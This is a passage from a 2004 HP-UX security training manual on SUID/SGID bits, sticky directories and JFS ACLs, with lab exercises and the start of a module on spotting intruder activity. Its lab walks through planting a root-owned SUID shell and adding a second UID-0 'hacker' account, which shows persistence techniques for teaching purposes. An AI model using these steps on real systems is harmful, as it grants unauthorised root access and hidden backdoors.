H3541S D.02 8-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

• Consider mounting file systems nosuid to disable SUID functionality. Mounting a file
system with the nosuid mount option doesn't prevent users from creating SUID bit
programs; however, it disables the SUID bit functionality. Before mounting a file system
with the nosuid mount option, check to see if the file system contains legitimate SUID
programs that are required by the OS or your applications.

# vi /etc/fstab
/dev/vg01/home /home vxfs nosuid 0 2

• Don't write your own SUID programs unless you are an experienced programmer. Be
especially wary of SUID shell scripts. An improperly coded SUID program that doesn’t
anticipate and carefully evaluate every conceivable user input can quickly compromise a
system.

SUID works with UIDs besides root. Only use SUID-to-root permissions when an
executable truly requires root privileges. Also consider using the SGID functionality
described on the next slide rather than SUID; SGID is almost always safer.

http://education.hp.com 8-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–6. SLIDE: Securing SGID Executables

Securing SGID Executables

-r-xr-sr-x bin sys

/usr/bin/top

Regular sys SGID Executable Temporary sys Group

User Privileges!

Never install an SGID executable on your system unless you know the source.
Use the find command to inventory and monitor SGID programs on your host.

Student Notes
When a user runs a program in UNIX, we learned that the program inherits the calling user’s
user identity. Similarly, programs usually inherit the calling user’s group identity, too.

Executables that have the "Set Group ID" (SGID) bit set, however, execute with the group
identity of the executable's group, not the group identity of the executing user. Like the SUID
bit, the SGID bit is required by some executables.

The top command, for instance, queries a variety of structures that regular users wouldn’t
normally have access to. However, because top has the SGID bit set, regular users are
temporarily considered members of the sys group while the top command executes. This
allows top to obtain the information it needs to report the status of your most resource
intensive processes and applications.

Setting and Viewing the SGID Bit

The SGID bit may be set on an executable using the chmod command:

# chmod 2555 /usr/contrib/bin/myprog

# chmod g+s /usr/contrib/bin/myprog

H3541S D.02 8-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

Verify that the SGID bit has been set by looking for an "s" in the group's permissions in the
ll command output:

# ll /usr/contrib/bin/myprog
-r-x-r-sr-x 1 root bin 1000 Jan 1 12:00 /usr/contrib/bin/myprog

To generate a list of all of the SGID programs on your system, try the following:

# find / -perm -2000 -type f

# find / -perm -g+s -type f

SGID Dangers
Though perhaps less dangerous than SUID executables, you should monitor SGID
executables, too, since they potentially provide enhanced system access for non-root users.

SGID Bit Recommendations

• Never install SGID programs on your system unless you know and trust the source.

• Use the find command to inventory and monitor SGID programs on your system. Create
a list of existing SGID programs, and investigate any new SGID programs that appear on
your system.

# find / -perm -2000 -type f > SGID.inventory Create an inventory

# find / -perm -2000 -type f > SGID.current Then monitor changes
# diff SGID.inventory SGID.current

http://education.hp.com 8-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–7. SLIDE: Configuring SGID Directories

Configuring SGID Directories

Setting the SGID bit on a

directory causes all
files placed in that directory rwxrws--- root project
to be chgrp'ed to the group
that owns that directory. /project

rwxr-xr-x user1 project

UID = user1
GID = accts,project /project/file1
# touch /project/file1
rwxr-xr-x user2 project
UID = user2
GID = finance,project /project/file2
# touch /project/file2

Student Notes
The SGID bit has a somewhat different affect on directories.

Sometimes administrators create shared directories that multiple users can use to store files
or scripts that they wish to share with other members of their department or office. Setting
the SGID bit on these shared directories ensures that all files placed in the directories are
automatically chgrp'ed to the group that requires access to the files.

Consider the example shown on the slide. The /project directory appears to be a
repository for files created by several users that are collaborating on a project. We need to
ensure that members of the project team do have access to the shared files, while
simultaneously ensuring that other users don't have access.

First, ensure that all of the project participants are members of a common group in the
/etc/group file. In this case, user1 and user2 are both members of the "project" group.

Next, create the shared directory, make sure root is the directory owner, and chgrp the
directory to the "project" group.

H3541S D.02 8-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

Finally, set the directory permissions to rwxrws---. The SGID bit ("s") ensures that files
created in the directory are automatically chgrp'ed to the "project" group. Assuming that the
group members have their umasks set to rwxr-x---, this guarantees that members of the
project group are given access to the project files, while "other" users aren't. Subdirectories
created under the SGID bit directory inherit the SGID bit permission, too.

Setting and Viewing the SGID Bit

You can set the SGID bit with the chmod command:

# chmod 2770 /project Set the SGID bit numerically,

# chmod g+s /project Or, set it symbolically

The SGID bit is represented as an "s" in the group portion of the ll output:

# ll -d /project
drwxrws--- 3 root project 96 Jan 1 12:00 /project

You can use the find command to determine if any SGID bit directories exist on your
system.

# find / -perm -2000 -type d Search for SGID bits numerically

# find / -perm -g+s -type d Search for SGID bits symbolically

SGID Bit Recommendations

The SGID bit is most helpful anytime you have shared directories that need to be accessible
to a select group of users on your system.

http://education.hp.com 8-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–8. SLIDE: Configuring Sticky Bit Directories

Configuring Sticky Bit Directories

Login: user2
$ rm /tools/game Setting the sticky bit on a
world-writable directory
FAILS! prevents users from removing
other users' files from that directory!

rwxrwxrwt bin users /tools

Login: user1
$ rm /tools/game rwxr-xr-x user1 users game
rwxr-xr-x user2 users draw
SUCCEEDS! rwxr-xr-x user3 users plot

Student Notes
You learned back at the beginning of the chapter that, by default, rwx permission on a
directory allows a user to create files within the directory and remove files from the
directory. In fact, if a user has rwx permissions on a directory, that user can remove any file
from that directory, regardless of the permissions on the individual files themselves!

The HP-UX "Sticky Bit" provides a bit more flexibility for the administrator. Setting the sticky
bit on a directory allows users to create files in that directory, but prevents them from
removing other users' files from the directory. In a sticky bit directory, users may only
remove files that they own. There are two exceptions: (a) root can remove any file, even in a
sticky-bit directory, and (b) the owner of a sticky-bit directory can still remove anything in
the directory.

The example on the slide shows a sticky-bit directory called /tools. Any user on the
system can put files in the directory, since all users have "w" permission. However, when
user2 tries to remove the game program created by user1, the rm command fails. With the
sticky bit set, user2 can only remove his or her own files.

H3541S D.02 8-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

Setting and Viewing the Sticky Bit

You can set the sticky bit with the chmod command:

# chmod 1777 /tools Set the sticky bit numerically

# chmod o+t /tools Set the sticky bit symbolically

A "t" in the "other" portion of the ll output indicates that the sticky bit has been set:

# ll -d /tools
drwxrwxrwt 3 root sys 96 Jan 1 12:00 /tools

You can search for all of the sticky bit directories on the system via the find command:

# find / -perm -1000 -type d Search for sticky bit directories numerically
# find / -perm -o+t -type d Search for sticky bit directories symbolically

Sticky Bit Directory Recommendations

Use the sticky bit for directories such as /tmp and /var/tmp that are shared by multiple
users. Setting the sticky bit on these directories may cause problems for some applications,
so it is worthwhile to do some testing before changing /tmp permissions on a production
box. Since many other Unix platforms include the sticky bit on /tmp and /var/tmp by
default, most application vendors have modified their code to accordingly.

You can use the sticky bit in conjunction with the SGID bit by issuing a chmod command
similar to the following:

# chmod 3777 /tools

http://education.hp.com 8-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–9. SLIDE: Introducing JFS ACLs

Introducing JFS ACLs

How can I set a file's

permissions so that ...

• user1 has rwx AND

• user2 has rw- AND
• user3 has rwx AND
• user4 has --x AND
• user5 has r-- AND ...

Answer:
Use JFS ACLs!

Student Notes
Traditional UNIX file permissions provide just three sets of permissions for a given file:

• One set of permissions for the file owner.

• One set of permissions for the group associated with the file.
• One set of permissions for everyone else!

For most shops, three sets of permissions are adequate. What can be done, though, if one
group or individual needs "rx" permission, another needs "r", and yet another needs "x"?
Standard UNIX permissions simply don't provide the flexibility that is required in more
complicated environments.

Access Control Lists (ACLs) provide the answer! With Access Control Lists, you can
configure up to sixteen different sets of permissions for sixteen different users and groups.
Unfortunately, ACLs are implemented somewhat differently in HFS and JFS file systems.
Since most customers these days are converting to JFS file systems, our discussion here will
concentrate on JFS ACLs. For more information about HFS ACLs, see the acl(5),
chacl(1), and lsacl(1) man pages.

H3541S D.02 8-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

JFS ACL Dependencies

JFS ACLs were first introduced with JFS version 3.3, which introduced the new JFS 4.0 file
system layout. In order to use JFS ACLs, you must first verify that you have installed the
latest version of the JFS product, and have upgraded to the new JFS 4.0 file system layout:

# swlist JFS Is JFS 3.3 installed on your system?

# vxupgrade /myfs Is your file system using the JFS version 4.0 layout?

If you don't have the JFS 3.3 software product installed, install it with swinstall. In order
to upgrade a file system from an older JFS file system layout to JFS 4.0, execute the
vxupgrade command while the file system is mounted:

# vxupgrade -n 4 /myfs

http://education.hp.com 8-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–10. SLIDE: Minimal JFS ACLs

Minimal JFS ACLs

The minimal JFS ACLs provide user/group/other

permissions just like standard UNIX permissions.

# file: data "data" is the filename

# owner: user1 "user1" is the file's owner
# group: users "users" is the owning group
user::rwx
user::rwx "user1" (the owner) gets rwx
group::--x
group::--x "users" (the owning group) gets --x
class:r-x
class:--x "class" will be discussed later ...
other:---
other:--- "other" (everyone else!) gets ---

Student Notes
Each file and directory in a JFS 4.0 layout file system has a list of "Access Control" entries,
each of which defines the permissions for a specific user or group. Just like standard UNIX
permissions, each of these users or groups may be granted read permission, write
permission, execute permission, or some combination thereof.

Every JFS 4.0 file has a minimum of four ACL entries. When an ACL contains only these four
entries, the permissions it grants are identical to the permissions represented by the standard
UNIX permission bits.

• user:: Defines the permissions available to the file owner.

• group:: Defines the permissions available to the file's group.
• other: Defines the permissions available to everyone else.

The "class:" entry is a special ACL entry that will be discussed later in the chapter.

H3541S D.02 8-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

An ll of the file whose ACLs are shown on the slide would yield the following:

# ll data
-rwx--x--- 1 user1 users 1000 Jan 1 12:00 data

http://education.hp.com 8-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–11. SLIDE: Additional JFS ACLs

Additional JFS ACLs

Use additional JFS ACLs to supplement

the standard UNIX owner/group/other permissions.

# file: data "data" is the filename

# owner: user1 "user1" is the file's owner
# group: users "users" is the owning group
user::rwx "user1" (the owner) gets rwx
user:user2:r-x "user2" (another user) gets r-x
user:user3:--x "user3" (another user) gets --x
group::--x "users" (the owning group) gets --x
group:accts:--x "accts" (another group) gets --x, too
class:r-x "class" will be discussed later ...
other:--- "other" (everyone else!) gets ---

Student Notes
The ACL shown on the previous slide provides functionality identical to the standard UNIX
permissions. ACLs really only become useful when these four minimal ACL entries are
supplemented by one or more additional ACL entries.

Consider the example on the slide. This example shows an ACL that has three additional
ACLs that supplement the minimal ACLs shown on the previous slide. Each "Additional" ACL
begins with the keyword "user" or "group". The "user" keyword identifies entries that provide
additional permissions for a specific user. The "group" keyword identifies entries that
provide additional permissions for a group of users defined in /etc/group.

Thus, the additional ACLs highlighted on this slide provide the following access rights:

• user:user2:r-x grants r-x permissions for user2

• user:user3:--x grants --x permissions for user3
• group:accts:--x grants --x permission for the accts group

Overall, you can define up to thirteen additional ACL entries in addition to the user, group,
and other entries that standard UNIX permissions offer.

H3541S D.02 8-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

These additional ACL entries don't appear in the ll output. Instead, ll simply displays a
"+" sign to indicate that additional ACLs have been defined. The next slide describes how to
use the getacl command to view these additional ACLs!

# ll data
-rwx--x---+ 1 user1 users 1000 Jan 1 12:00 data

WARNING! Standard Unix backup utilities such as tar and cpio don’t backup ACLs.
However, proprietary backup tools such as fbackup and vxdump do.

http://education.hp.com 8-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–12. SLIDE: Setting and Viewing JFS ACLs

Setting and Viewing JFS ACLs

# getacl data view ACLs

# setacl -m user:user2:rwx data add an additional user ACL

# setacl -m user:user2:--x data modify an existing user ACL
# setacl -d user:user2 data delete a user ACL

# setacl -m group:accts:rwx data add an additional group ACL

# setacl -m group:accts:--x data modify an existing group ACL
# setacl -d group:accts data delete a group ACL

# getacl myfile >acl.txt dump ACLs to a file

# setacl -f acl.txt data add ACLs from a file

Student Notes
Two commands are required to set and view JFS ACLs. The getacl command is used to
view a file's ACL:

# getacl data View ACLs for file "data"

# getacl * View ACLs for all files in the pwd

Use the setacl command to set, modify, or delete ACL entries:

# setacl -m user:user2:rwx data Add an rwx ACL for user2

# setacl -m user:user2:--x data Change the user2 ACL entry to --x
# setacl -d user:user2 data Delete the user2 ACL altogether

# setacl -m group:accts:rwx data Add an rwx ACL for the accts group
# setacl -m group:accts:--x data Change the accts group ACL to --x
# setacl -d group:accts data Delete the accts ACL altogether

H3541S D.02 8-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

If you have defined a complex ACL list for a file and wish to copy that ACL list to another file,
use the getacl and setacl commands together as follows:

# getacl myfile >acl.txt Dump template file's ACLs to a file

# setacl -f acl.txt data Set the new file's ACLs

If you simply want to change the basic user, group, and other ACL entries, just use the chmod
command!

http://education.hp.com 8-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8–13. SLIDE: The JFS ACL Class Entry

The JFS ACL Class Entry

A file's JFS "class" entry defines the maximum

permissions that will be granted to any of the
additional user and group ACL entries on that file.

Because of the
# file: data "class:--x" ACL,
# owner: user1 user2, user3, and accts
# group: users really only get
user::rwx "--x" permissions!
user:user2:r-x #effective:--x
user:user3:--x
group::--x
group:accts:--x
class:--x
class::--x
other:---

Student Notes
Every file in a JFS 4.0 layout file system has one additional ACL entry that hasn't been
discussed thus far: the JFS "class" entry. The "class" entry defines the maximum permissions
that will be granted to the users and groups listed in the additional ACL entries.

Consider the example on the slide. The "class" entry suggests that the maximum permissions
allowed for any of the additional ACL entries is --x. Thus, even though the
"user:user2:r-x" entry suggests that user2 has been given both read and execute, the
"effective" permissions for user2 are --x. Note that the class entry only sets an upper bound
on the "additional" ACL entries. The minimal "user::", "group::", and "other:" ACLs are
unaffected by the "class" entry.

Normally, when you modify a file's ACL list with setacl, setacl automatically recalculates
the "class" entry to ensure that the permissions specified in the new ACL entries will actually
be granted.

H3541S D.02 8-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

However, if a file has additional ACLs and you change the group permissions on that file with
the chmod command, the chmod command actually changes the "class" permissions!
Because the chmod command affects the class ACL entry and not the group:: ACL entry,
chmod may be used to deny access to all additional ACL entries without the need to reset
each entry with setacl. This is the primary reason for the existence of the "class" entry.

Example:
Consider the following example. Assume that a user has created a program called "myfile".
The user accepted the default permissions, rw------- assigned by the session umask value.
At this point there are no additional ACLs, and the class ACL is set to match the group ACL:

# getacl myfile
# file: myfile
# owner: user1
# group: users
user::rw-
group::---
class:---
other:---

At this point, the "class" ACL matches the "group" ACL. Now the user decides to add ACLs
that allow read permission for user2, and read/write permission for user3:

# setacl -m user:user2:r-- myfile

# setacl -m user:user3:rw- myfile
# file: myfile
# owner: user1
# group: users
user::rw-
user:user2:r--
user:user3:rw-
group::---
class:rw-
other:---

The setacl command adds the new ACL entries, and updates the "class" entry to allow the
additional permissions. What happens when an ACL entry is removed? Take a look below to
find out!

# setacl -d user:user3 myfile

# file: myfile
# owner: user1
# group: users
user::rw-
user:user2:r--
group::---
class:r--
other:---

http://education.hp.com 8-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

Once again, setacl automatically adjusts the "class" entry to match the maximum
permissions represented in the additional ACL entries.

Finally, the owner of the file may choose to disable any and all additional ACLs on the file.
This could be accomplished by manually removing each ACL entry, but is more easily
accomplished by simply executing the chmod command.

# chmod g-rwx myfile

# file: myfile
# owner: user1
# group: users
user::rw-
user:user2:r-- #effective:---
group::---
class:---
other:---

Note that the setacl command didn't actually set the "class" permissions to rwx. Instead,
setacl simply sets the "class" permissions to match the maximum permissions on the
additional ACLs associated with the file (r-- in this case).

H3541S D.02 8-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–14. SLIDE: The JFS ACL Default Entries

The JFS ACL Default Entries

# file: data
# owner: user1
# group: users These "default" entries
user::rwx ensure that all new
user:user2:r-x files and directories
user:user3:--x beneath this directory
group::--x inherit additional
group:accts:--x JFS ACLs for
class:r-x user2, user3, and accts.
other:---
default:user:user2:r-x
default:user:user3:--x
default:group:accts:--x

Student Notes
In some cases, you may wish to ensure that all the files created in a particular directory are
assigned a standard set of ACL entries. This could be accomplished by manually executing
setacl each time a new file is created, but this quickly becomes tedious.

JFS "default" ACL entries provide a much more elegant solution to this problem. The
"default" ACL entries on a directory define ACL permissions that JFS should automatically
copy to all new files created within a directory.

The default ACL entries shown in the example on the slide guarantee that the following ACL
entries will be defined for each new file created under the data directory:

user:user2:r-x
user:user3:--x
group:accts:--x

When new sub-directories are created under data, the default entries are copied to those
subdirectories as well.

http://education.hp.com 8-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

The default entries are not retroactive; that is, adding default entries to a directory does not
change the ACLs on existing files in the directory. Nor do the default entries prevent users
from supplementing or removing the ACLs that are automatically assigned to files they create
within a directory.

The default ACLs on slide were created via the following setacl commands:

# setacl -m default:user:user2:r-x data

# setacl -m default:user:user3:--x data
# setacl -m default:group:accts:--x data

A Few Final Notes about JFS ACLs

The last few slides discussed the most commonly used JFS ACL features. For more
information about JFS ACLs, see HP's JFS Access Control Lists White Paper on
http://www.docs.hp.com.

HP-UX also supports ACLs for HFS file systems, though the structures and commands and
significantly different. For a description of HFS ACLs, see the following man pages:

acl(5)
chacl(1)
lsacl(1)

H3541S D.02 8-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

8–15. LAB: Securing UNIX File Systems

Directions
Read and follow the directions below carefully.

Part I: Experimenting with the SUID Bit

Careless administrators sometimes walk away from the system console without locking the
session or logging out. In this part of the lab, you will see how a hacker might exploit this
situation!
1. Copy the /usr/bin/sh executable to user1's home directory.

Answer:

2. Ensure that the new copy of the shell is owned by root, then set the SUID bit on the
executable.

Answer:

3. rlogin to your localhost as user1, then execute the ~user1/.sh executable. After
executing ~user1/.sh command, use the id command to determine your userid. What
does the id command show?

# rlogin localhost -l user1

$ ./sh
# id

Answer:

4. Verify that user1 has truly obtained root privileges by executing the useradd command,
which isn't normally accessible to normal users. Does it succeed? Explain!

# /usr/sbin/useradd -o -u 0 hacker

Answer:

http://education.hp.com 8-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

5. Log out of your SUID shell, then log out of the user1 rlogin session.

Answer:

6. Why are SUID shells so dangerous?

Answer:

7. How can you generate a file cataloging all of the SUID programs on your system? Make it
so!

Answer:

Part II: Experimenting with SGID and Sticky Bit Directories

Administrators are sometimes asked to setup shared directories for teams of users that need
common access to a set of files. Ensuring that the legitimate team members have access to
the files while locking out all other users can sometimes prove tricky.

Our goal in this exercise is to enable user20 through user24 (and no other users!) to access a
shared directory while developing a new “gizmo” product.
1. Verify that user20 through user24 have valid accounts in the /etc/passwd file.

Answer:

2. Create an entry in the /etc/group file for a group called “gizmo” and ensure that user20
through user24 are all members of the group.

Answer:

H3541S D.02 8-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

3. Create a directory called /home/gizmo with appropriate permissions to ensure that

only members of the gizmo group have access to files in the directory. What permission
can you use to ensure that files placed in this directory are automatically chgrp'ed to the
gizmo group? Make it so!

Answer:

4. Verify that user20-24 have their umasks set such that new files that they create are
readable by members of their group.

Answer:

5. Test your configuration! su to user20 and see if you can create a file in the gizmo
directory. Which group is associated with the new file? What are the permissions?

# su – user20 "vi /home/gizmo/plans"

# ll /home/gizmo/plans

Answer:

6. Who can access the file? Try accessing the file both as user1 and user21 and record the
results.

# su – user1 "cat /home/gizmo/plans"

# su – user21 "cat /home/gizmo/plans"

Answer:

7. At this point, the permissions on /home/gizmo ensure that members of the "gizmo"
group can access all of the files in the /home/gizmo directory. However, members of
the group can also delete any file in the shared directory -- even files owned by other
users! How can you set the permissions on /home/gizmo so all members of the group
are allowed create and access files in the directory, while simultaneously ensuring that
users can only remove their own files from the directory? Make it so! (Be sure to
preserve the SGID bit permission, too!)

Answer:

http://education.hp.com 8-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

8. Test your configuration. user20 should own a file called /home/gizmo/plans. Can
user21 remove this file? Can user20 remove this file? Try it!

# su - user21 "rm /home/gizmo/plans"

# su - user20 "rm /home/gizmo/plans"

Answer:

Part III: Setting and Using JFS ACLs

1. Verify that JFS version 3.3 or greater is installed on your system.

# swlist JFS

2. JFS ACLs are only available on JFS file systems that use the JFS file system layout
version 4. Determine which file system layout your /home file system uses. If it's not
version 4, upgrade it!

# vxupgrade /home
# vxupgrade -n 4 /home

3. su to user1's account on your system.

# su - user1

4. Create a file in user1's home directory. Set the permissions on your sample file to 640.

$ echo "let's play with ACLs!" >f1

$ chmod 640 f1

5. What minimal ACLs are set for file f1 as a result of the chmod command?

Answer:

6. Add ACLs to grant the following access rights:

• Read and write permissions for user2 and user3

• Read permission for user4 and user5
• Read permission for all members of the "users" group

Answer:

H3541S D.02 8-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 8
Solution: Securing UNIX File Systems

7. Looking at ll output for this directory, can you tell that file f1 has additional ACLs?
Verify that your additional ACLs are set properly.

Answer:

8. Look at the getacl output for file f1. What additional ACLs were added? Did the "class"
ACL change as a result of your setacl commands?

Answer:

9. Remove the ACL entry for user5 and the users group, then change user4's ACL to rw- to
match the other user ACLs. Check your work.

Answer:

10. In the previous question, you removed the ACL for user5. Can user5 still access the file?
Try it, then explain the result.

$ su user5 "cat f1"

Answer:

11. touch a new file in user1's home directory called f2. Is there an easy way to replicate the
ACLs you set on file f1 to the new file you just created? Make it so!

Answer:

12. How can you guarantee that all additional files created in the ~user1 directory are
assigned the rw- user2, user3, and user4 ACLs you created for f1? Make it so!

Answer:

http://education.hp.com 8-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 8
Solution: Securing UNIX File Systems

13. Can you use the standard UNIX chmod command to change the permissions on a file with
additional ACLs defined? Try it!

$ chmod u+x f1
$ getacl f1

Answer:

14. Try another chmod, as shown below. Can you explain the result?

$ chmod g= f1
$ getacl f1

Answer:

15. Exit from your user1 su session.

H3541S D.02 8-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 9  How the Hacker Monitors and Hides
System Activity
Objectives
Upon completion of this module, you will be able to do the following:
• Describe the purpose of common HP-UX log files.

• Monitor processes using top and ps.

• Monitor files using ll and lsof.

• Monitor user logins via who, last, lastb, and sulog.

• Monitor network connections via netstat, idlookup, and lsof.

• Monitor inetd connections via inetd logging.

• Monitor daemon and subsystem log messages in /var/adm/syslog/syslog.log.

• Monitor log messages using swatch.

• Configure the syslogd daemon.

• Describe how hackers subvert normal UNIX logging and reporting mechanisms.

• Describe how hackers hide network connections.

• Describe how hackers hide suspicious processes.

• Describe how hackers hide suspicious command-line arguments.

• Describe how hackers erase log file entries.

• Describe how hackers modify file time stamps.

http://education.hp.com 9-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–1. SLIDE: The Hacker's Process: Perform Unauthorized

Activities

The Hacker’s Process: Perform

Unauthorized Activities

Step 1 Step 2 Step 3 Step 4

Gather Gain access Gain user Perform
information to the target access to the unauthorized
about the target system system activities
system

UNIX
Login:

Student Notes
The fourth step in the hacker's process is to perform unauthorized activities. At this point
the hacker has already gathered a lot of information about the target system, gotten to a login
prompt, and gained unauthorized access to a user account on the system. The hacker is now
in a position to perform any number of unauthorized activities on the system.

H3541S D.02 9-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–2. SLIDE: Perform Unauthorized Activities: Monitor System

Activity

Perform Unauthorized Activities: Monitor

and Hide System Activity

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on network
tasks

Student Notes
Whenever a hacker is on a target system, he or she must be aware of what is happening on
that system; specifically, who is on the system and what they are doing. Hackers may be
reluctant to stay on a system if the system administrator is logged in and is actively managing
the system.

Some of the same tools that hackers use to monitor the administrator, may also be used by
the administrator to identify and monitor hackers. This chapter discusses some of those
tools.

http://education.hp.com 9-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–3. SLIDE: Monitoring Log Files

Monitoring Log Files

Monitor your system log files for unusual activity.

Verify that none of the log files are world-writable.
Verify that btmp and sulog aren’t are world-readable.

Log files in /var/adm:

rw------- root other /var/adm/btmp
rw-r--r-- root root /var/adm/cron/log
rw-r--r-- lp lp /var/adm/lp/log
rw------- root root /var/adm/sulog
rw-r--r-- root sys /var/adm/sw/swagent.log
rw-r--r-- root root /var/adm/syslog/syslog.log
rw-rw-r-- adm adm /var/adm/wtmp

Log files in /etc:

rw-r--r-- bin bin /etc/rc.log
rw-r--r-- root root /etc/shutdownlog
rw-r--r-- root root /etc/utmp

Log files in ~/.sh_history:

rw------- root sys ~/.sh_history

Student Notes
Hackers often review some of the common log files to better understand a system’s usage
patterns. How often does the administrator login? Which network services are most
frequently used? Has the system been patched recently? Are there scheduled batch jobs that
might be exploited? Answers to these questions are very helpful to hackers. The hacker may
attempt to remove evidence of his own activity from these log files, too!

Most HP-UX log files are stored in /var/adm:

/var/adm/btmp Failed login attempts
/var/adm/cron/log Completed cron jobs
/var/adm/lp/log Print scheduler logs
/var/adm/sulog su command usage log
/var/adm/sw/swagent.log SD-UX agent log
/var/adm/syslog/syslog.log General log used by many services
/var/adm/wtmp Successful user logins

H3541S D.02 9-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

Log files used during startup and shutdown are in the /etc directory:
/etc/rc.log Startup/shutdown script messages
/etc/shutdown.log shutdown/reboot command log
/etc/utmp Log of current logins

One important log file is kept in each user’s home directory:

~/.sh_history Shell command history

Watch for unusual activity in all of these logs, and verify that the permissions are set
correctly. Improper permissions may allow hackers to make changes to your log files! Make
sure the permissions on your system’s files match the permissions shown on this slide.

http://education.hp.com 9-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–4. SLIDE: Monitoring User Logins

Monitoring User Logins

Monitor who output for users logging in at unusual times from unusual places.
# who –R
root pts/ta May 6 23:47 (hack1.hacker.com)
root pts/ta May 6 23:47 (servera)
Monitor last output for users logging in at unusual times from unusual places.
# last -R
root pts/tc hack1.hacker.com Thu May 1 13:03 - 13:04 (03:10)
root pts/tc serverb Thu May 1 12:52 - 13:02 (00:10)
root ftp servera Thu May 1 12:43 - 12:44 (00:00)
Monitor lastb for repeated failed logins, especially as root.
# lastb -R
root pts/ta hack1.hacker.com Thu May 1 13:03
secret pts/ta serverb Thu May 1 12:52
root pts/ta servera Thu May 1 12:43
Monitor /var/adm/sulog for repeated failed su attempts, especially to root.
# more /var/adm/sulog
SU 02/04 00:25 + ta user1-root
SU 02/05 00:25 + ta user1-root
SU 02/05 00:25 - ta user2-root

Student Notes
For most hackers, it is almost reflexive to check who is on the system as soon as they log in
to determine if there is anyone on the system who might notice their presence.

Several commands report login activity:

# who –R Displays a list of users that are currently logged in, using
information in the binary /etc/utmp file. When executed
with the –R option, the command also displays the
hostname that originated the login session. Watch for users
logging in from unusual locations, or at unusual times.

# last –R Displays a list of users that have logged in previously, using

information in the binary /var/adm/wtmp file. The
command displays user names, ttys, session start/finish
times and duration. When executed with the –R option, the
command also displays the hostname that originated the
login session. The pseudo-user reboot logs each time the
system reboots. If you are interested in a specific user’s
login times, specify that user’s username as an argument.

H3541S D.02 9-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

Watch for users logging in from unusual locations, or at

unusual times.

# lastb –R Displays a list of failed login attempts using information in

the binary /var/adm/btmp file. The program reports the
response that the user provided at the “login:” prompt.
Since users sometimes mistakenly enter a password when
prompted for a username, you may see cleartext passwords
in the lastb output. For this reason, the /var/adm/btmp
file should not be world-readable. Watch for repeated
failed login attempts.

# more /var/adm/sulog Displays a list successful (indicated by a “+”) and failed

(indicated by a “-“ su attempts. The command reports
who executed the su command, and which user account
they attempted to access. Repeated failed su attempts
may indicate that a user is attempting to access other users’
accounts.

http://education.hp.com 9-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–5. SLIDE: Monitoring Processes

Monitoring Processes

Watch ps –ef for users running compilers or unusual processes.

# UNIX95=true ps –efH
UID PID PPID C STIME TTY TIME CMD
root 1432 1 0 May 1 ? 00:24 /usr/sbin/inetd
root 10101 1432 0 23:50:45 pts/ta 00:00 /usr/lbin/telnetd
user1 21649 10101 0 23:50:46 pts/ta 00:00 -sh
user1 21650 21649 234 23:52:56 pts/ta 5:63 /tmp/Crack

Watch top for unrecognized processes monopolizing system resources.

# top
TTY PID USER PRI NI SIZE RES STATE TIME %WCPU %CPU COMMAND
? 31 root 152 20 1856K 1856K run 1:35 49.38 48.25 cracker
